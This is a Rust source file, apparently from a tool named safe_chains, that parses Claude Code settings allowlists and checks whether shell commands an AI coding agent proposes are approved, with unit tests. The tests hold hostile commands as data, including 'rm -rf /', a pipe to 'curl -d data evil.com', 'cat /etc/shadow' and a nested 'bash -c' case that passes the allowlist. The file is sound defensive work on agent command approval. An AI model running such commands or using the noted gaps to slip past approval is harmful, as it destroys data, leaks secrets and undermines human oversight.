Skip to main content

safe_chains/
allowlist.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7    exact: HashSet<String>,
8    globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12    pub fn load() -> Self {
13        Self::load_with_project_dir(
14            std::env::var_os("CLAUDE_PROJECT_DIR")
15                .or_else(|| std::env::var_os("CWD"))
16                .as_deref()
17                .map(Path::new),
18        )
19    }
20
21    pub fn load_with_project_dir(project_dir: Option<&Path>) -> Self {
22        let mut patterns = Matcher {
23            exact: HashSet::new(),
24            globs: Vec::new(),
25        };
26
27        if let Some(home) = std::env::var_os("HOME") {
28            patterns.load_file(&Path::new(&home).join(".claude/settings.json"));
29        }
30
31        if let Some(dir) = project_dir {
32            let base = dir.join(".claude");
33            patterns.load_file(&base.join("settings.json"));
34            patterns.load_file(&base.join("settings.local.json"));
35        }
36
37        patterns
38    }
39
40    fn load_file(&mut self, path: &Path) {
41        let Ok(contents) = std::fs::read_to_string(path) else {
42            return;
43        };
44        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
45            return;
46        };
47
48        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
49            for entry in arr.iter().filter_map(|e| e.as_str()) {
50                self.add_pattern(entry);
51            }
52        }
53
54        if let Some(arr) = value
55            .get("permissions")
56            .and_then(|v| v.get("allow"))
57            .and_then(|v| v.as_array())
58        {
59            for entry in arr.iter().filter_map(|e| e.as_str()) {
60                self.add_pattern(entry);
61            }
62        }
63    }
64
65    fn add_pattern(&mut self, entry: &str) {
66        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
67            return;
68        };
69        if inner.is_empty() {
70            return;
71        }
72        let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
73            format!("{prefix} *")
74        } else {
75            inner.to_string()
76        };
77        if normalized.contains('*') {
78            self.globs
79                .push(normalized.split('*').map(String::from).collect());
80        } else {
81            self.exact.insert(normalized);
82        }
83    }
84
85    pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
86        let Cmd::Simple(simple) = cmd else {
87            return false;
88        };
89        let normalized = check::normalize_for_matching(simple);
90        let normalized = normalized.trim();
91        if normalized.is_empty() {
92            return false;
93        }
94        if self.exact.contains(normalized) {
95            return true;
96        }
97        self.globs
98            .iter()
99            .any(|parts| glob_matches(parts, normalized))
100    }
101
102    pub fn is_empty(&self) -> bool {
103        self.exact.is_empty() && self.globs.is_empty()
104    }
105
106    #[cfg(test)]
107    pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
108        let mut m = Matcher {
109            exact: HashSet::new(),
110            globs: Vec::new(),
111        };
112        for p in patterns {
113            m.add_pattern(&format!("Bash({p})"));
114        }
115        m
116    }
117}
118
119pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
120    match cmd {
121        Cmd::Simple(_) => {
122            check::is_safe_cmd(cmd)
123                || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
124        }
125        _ => check::is_safe_cmd(cmd),
126    }
127}
128
129fn glob_matches(parts: &[String], text: &str) -> bool {
130    let first = &parts[0];
131    let last = &parts[parts.len() - 1];
132
133    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
134        let prefix = &first[..first.len() - 1];
135        return text == prefix || text.starts_with(first.as_str());
136    }
137
138    if !text.starts_with(first.as_str()) {
139        return false;
140    }
141    if !text.ends_with(last.as_str()) {
142        return false;
143    }
144    let mut pos = first.len();
145    let end = text.len() - last.len();
146    if pos > end {
147        return false;
148    }
149    for part in &parts[1..parts.len() - 1] {
150        match text[pos..end].find(part.as_str()) {
151            Some(idx) => pos += idx + part.len(),
152            None => return false,
153        }
154    }
155    pos <= end
156}
157
158#[cfg(test)]
159mod tests {
160    use super::*;
161    use std::fs;
162
163    use crate::cst;
164
165    fn empty() -> Matcher {
166        Matcher {
167            exact: HashSet::new(),
168            globs: Vec::new(),
169        }
170    }
171
172    fn cmd(s: &str) -> Cmd {
173        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
174        assert_eq!(script.0.len(), 1, "expected single statement: {s}");
175        assert_eq!(
176            script.0[0].pipeline.commands.len(),
177            1,
178            "expected single command: {s}"
179        );
180        script.0[0].pipeline.commands[0].clone()
181    }
182
183    fn segments(command: &str) -> Vec<Cmd> {
184        let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
185        script
186            .0
187            .into_iter()
188            .flat_map(|stmt| stmt.pipeline.commands)
189            .collect()
190    }
191
192    fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
193        is_cmd_covered(cmd, patterns)
194    }
195
196    fn all_covered(command: &str, patterns: &Matcher) -> bool {
197        let Some(script) = cst::parse(command) else {
198            return false;
199        };
200        script.0.iter().all(|stmt| {
201            check::is_safe_pipeline(&stmt.pipeline)
202                || stmt
203                    .pipeline
204                    .commands
205                    .iter()
206                    .all(|c| is_cmd_covered(c, patterns))
207        })
208    }
209
210    #[test]
211    fn parse_exact_pattern() {
212        let mut p = empty();
213        p.add_pattern("Bash(npm test)");
214        assert!(p.exact.contains("npm test"));
215        assert!(p.globs.is_empty());
216    }
217
218    #[test]
219    fn parse_legacy_colon_star() {
220        let mut p = empty();
221        p.add_pattern("Bash(npm run:*)");
222        assert!(p.exact.is_empty());
223        assert_eq!(p.globs.len(), 1);
224    }
225
226    #[test]
227    fn parse_space_star() {
228        let mut p = empty();
229        p.add_pattern("Bash(npm run *)");
230        assert!(p.exact.is_empty());
231        assert_eq!(p.globs.len(), 1);
232    }
233
234    #[test]
235    fn parse_non_bash_skipped() {
236        let mut p = empty();
237        p.add_pattern("WebFetch");
238        p.add_pattern("XcodeBuildMCP");
239        assert!(p.is_empty());
240    }
241
242    #[test]
243    fn parse_empty_bash_skipped() {
244        let mut p = empty();
245        p.add_pattern("Bash()");
246        assert!(p.is_empty());
247    }
248
249    #[test]
250    fn match_exact() {
251        let mut p = empty();
252        p.add_pattern("Bash(npm test)");
253        assert!(p.matches_cmd(&cmd("npm test")));
254        assert!(!p.matches_cmd(&cmd("npm test --watch")));
255    }
256
257    #[test]
258    fn match_space_star_word_boundary() {
259        let mut p = empty();
260        p.add_pattern("Bash(ls *)");
261        assert!(p.matches_cmd(&cmd("ls -la")));
262        assert!(p.matches_cmd(&cmd("ls foo")));
263        assert!(!p.matches_cmd(&cmd("lsof")));
264    }
265
266    #[test]
267    fn match_star_no_space_no_boundary() {
268        let mut p = empty();
269        p.add_pattern("Bash(ls*)");
270        assert!(p.matches_cmd(&cmd("ls -la")));
271        assert!(p.matches_cmd(&cmd("lsof")));
272    }
273
274    #[test]
275    fn match_legacy_colon_star_word_boundary() {
276        let mut p = empty();
277        p.add_pattern("Bash(npm run:*)");
278        assert!(p.matches_cmd(&cmd("npm run build")));
279        assert!(p.matches_cmd(&cmd("npm run test")));
280        assert!(!p.matches_cmd(&cmd("npm running")));
281        assert!(!p.matches_cmd(&cmd("npm install")));
282    }
283
284    #[test]
285    fn match_star_at_beginning() {
286        let mut p = empty();
287        p.add_pattern("Bash(* --version)");
288        assert!(p.matches_cmd(&cmd("npm --version")));
289        assert!(p.matches_cmd(&cmd("cargo --version")));
290        assert!(!p.matches_cmd(&cmd("npm --help")));
291    }
292
293    #[test]
294    fn match_star_in_middle() {
295        let mut p = empty();
296        p.add_pattern("Bash(git * main)");
297        assert!(p.matches_cmd(&cmd("git checkout main")));
298        assert!(p.matches_cmd(&cmd("git merge main")));
299        assert!(!p.matches_cmd(&cmd("git checkout develop")));
300    }
301
302    #[test]
303    fn match_env_prefix_stripped() {
304        let mut p = empty();
305        p.add_pattern("Bash(bundle install)");
306        assert!(p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
307    }
308
309    #[test]
310    fn match_fd_redirect_stripped() {
311        let mut p = empty();
312        p.add_pattern("Bash(npm test)");
313        assert!(p.matches_cmd(&cmd("npm test 2>&1")));
314    }
315
316    #[test]
317    fn match_fd_redirect_with_glob() {
318        let mut p = empty();
319        p.add_pattern("Bash(npm run *)");
320        assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
321    }
322
323    #[test]
324    fn empty_patterns_match_nothing() {
325        let p = empty();
326        assert!(!p.matches_cmd(&cmd("anything")));
327    }
328
329    #[test]
330    fn match_bare_star_matches_everything() {
331        let mut p = empty();
332        p.add_pattern("Bash(*)");
333        assert!(p.matches_cmd(&cmd("anything at all")));
334        assert!(p.matches_cmd(&cmd("rm -rf /")));
335    }
336
337    #[test]
338    fn unsafe_syntax_not_bypassed_by_match() {
339        let mut p = empty();
340        p.add_pattern("Bash(./script.sh *)");
341        let c = cmd("./script.sh > /etc/passwd");
342        assert!(check::has_unsafe_syntax(&c));
343        assert!(!is_covered(&c, &p));
344    }
345
346    #[test]
347    fn command_substitution_not_bypassed_by_match() {
348        let mut p = empty();
349        p.add_pattern("Bash(./script.sh *)");
350        let c = cmd("./script.sh $(rm -rf /)");
351        assert!(!is_covered(&c, &p));
352    }
353
354    #[test]
355    fn mixed_chain_safe_plus_settings() {
356        let mut p = empty();
357        p.add_pattern("Bash(./generate-docs.sh)");
358        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
359    }
360
361    #[test]
362    fn mixed_chain_safe_plus_unapproved_denied() {
363        let mut p = empty();
364        p.add_pattern("Bash(./generate-docs.sh)");
365        assert!(!all_covered("cargo test && rm -rf /", &p));
366    }
367
368    #[test]
369    fn glob_does_not_cross_chain_boundary() {
370        let mut p = empty();
371        p.add_pattern("Bash(cargo test *)");
372        let cmds = segments("cargo test --release && rm -rf /");
373        assert_eq!(cmds.len(), 2);
374        assert!(p.matches_cmd(&cmds[0]));
375        assert!(!p.matches_cmd(&cmds[1]));
376        assert!(!all_covered("cargo test --release && rm -rf /", &p));
377    }
378
379    #[test]
380    fn glob_does_not_cross_pipe_boundary() {
381        let mut p = empty();
382        p.add_pattern("Bash(safe-cmd *)");
383        assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
384    }
385
386    #[test]
387    fn glob_does_not_cross_semicolon_boundary() {
388        let mut p = empty();
389        p.add_pattern("Bash(safe-cmd *)");
390        assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
391    }
392
393    #[test]
394    fn file_redirect_promoted_to_safewrite() {
395        let p = empty();
396        let c = cmd("echo > /etc/passwd");
397        assert!(is_covered(&c, &p));
398    }
399
400    #[test]
401    fn bare_star_blocked_by_unsafe_syntax_backtick() {
402        let mut p = empty();
403        p.add_pattern("Bash(*)");
404        assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
405    }
406
407    #[test]
408    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
409        let mut p = empty();
410        p.add_pattern("Bash(*)");
411        assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
412    }
413
414    #[test]
415    fn safe_command_substitution_allowed_through_is_safe() {
416        let p = empty();
417        assert!(is_covered(&cmd("echo $(cat /etc/shadow)"), &p));
418    }
419
420    #[test]
421    fn nested_shell_not_recursively_validated_by_settings() {
422        let mut p = empty();
423        p.add_pattern("Bash(bash *)");
424        let c = cmd("bash -c 'safe-cmd && rm -rf /'");
425        assert!(!check::is_safe_cmd(&c));
426        assert!(!check::has_unsafe_syntax(&c));
427        assert!(is_covered(&c, &p));
428    }
429
430    #[test]
431    fn nested_shell_redirect_promoted_to_safewrite() {
432        let p = empty();
433        let c = cmd("bash -c 'echo hello' > /tmp/out");
434        assert!(is_covered(&c, &p));
435    }
436
437    #[test]
438    fn quoted_operators_stay_as_one_segment() {
439        let mut p = empty();
440        p.add_pattern("Bash(./script *)");
441        assert!(all_covered("./script 'arg && rm -rf /'", &p));
442    }
443
444    #[test]
445    fn load_with_project_dir_reads_local_settings() {
446        let dir = tempfile::tempdir().unwrap();
447        let claude_dir = dir.path().join(".claude");
448        fs::create_dir_all(&claude_dir).unwrap();
449        fs::write(
450            claude_dir.join("settings.local.json"),
451            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
452        )
453        .unwrap();
454        let p = Matcher::load_with_project_dir(Some(dir.path()));
455        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
456        assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
457        assert!(!p.matches_cmd(&cmd("./evil.sh")));
458    }
459
460    #[test]
461    fn load_with_project_dir_reads_both_settings_files() {
462        let dir = tempfile::tempdir().unwrap();
463        let claude_dir = dir.path().join(".claude");
464        fs::create_dir_all(&claude_dir).unwrap();
465        fs::write(
466            claude_dir.join("settings.json"),
467            r#"{"permissions":{"allow":["Bash(cargo install:*)"]}}"#,
468        )
469        .unwrap();
470        fs::write(
471            claude_dir.join("settings.local.json"),
472            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
473        )
474        .unwrap();
475        let p = Matcher::load_with_project_dir(Some(dir.path()));
476        assert!(p.matches_cmd(&cmd("cargo install --path .")));
477        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
478    }
479
480    #[test]
481    fn load_with_no_project_dir_skips_project_settings() {
482        let p = Matcher::load_with_project_dir(None);
483        assert!(!p.matches_cmd(&cmd("./generate-docs.sh")));
484    }
485
486    #[test]
487    fn load_with_project_dir_chains_with_builtins() {
488        let dir = tempfile::tempdir().unwrap();
489        let claude_dir = dir.path().join(".claude");
490        fs::create_dir_all(&claude_dir).unwrap();
491        fs::write(
492            claude_dir.join("settings.local.json"),
493            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
494        )
495        .unwrap();
496        let p = Matcher::load_with_project_dir(Some(dir.path()));
497        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
498        assert!(!all_covered("cargo test && ./evil.sh", &p));
499    }
500
501    #[test]
502    fn load_file_nonexistent() {
503        let mut p = empty();
504        p.load_file(Path::new("/nonexistent/path/settings.json"));
505        assert!(p.is_empty());
506    }
507
508    #[test]
509    fn load_file_malformed_json() {
510        let dir = tempfile::tempdir().unwrap();
511        let path = dir.path().join("settings.json");
512        std::fs::write(&path, "not json{{{").unwrap();
513        let mut p = empty();
514        p.load_file(&path);
515        assert!(p.is_empty());
516    }
517
518    #[test]
519    fn load_file_approved_commands() {
520        let dir = tempfile::tempdir().unwrap();
521        let path = dir.path().join("settings.json");
522        fs::write(
523            &path,
524            r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
525        )
526        .unwrap();
527        let mut p = empty();
528        p.load_file(&path);
529        assert!(p.matches_cmd(&cmd("npm test")));
530        assert!(p.matches_cmd(&cmd("npm run build")));
531        assert!(!p.matches_cmd(&cmd("curl evil.com")));
532    }
533
534    #[test]
535    fn load_file_permissions_allow() {
536        let dir = tempfile::tempdir().unwrap();
537        let path = dir.path().join("settings.json");
538        fs::write(
539            &path,
540            r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
541        )
542        .unwrap();
543        let mut p = empty();
544        p.load_file(&path);
545        assert!(p.matches_cmd(&cmd("cargo test")));
546        assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
547    }
548
549    #[test]
550    fn load_file_both_fields() {
551        let dir = tempfile::tempdir().unwrap();
552        let path = dir.path().join("settings.json");
553        fs::write(
554            &path,
555            r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
556        )
557        .unwrap();
558        let mut p = empty();
559        p.load_file(&path);
560        assert!(p.matches_cmd(&cmd("npm test")));
561        assert!(p.matches_cmd(&cmd("cargo test --release")));
562    }
563}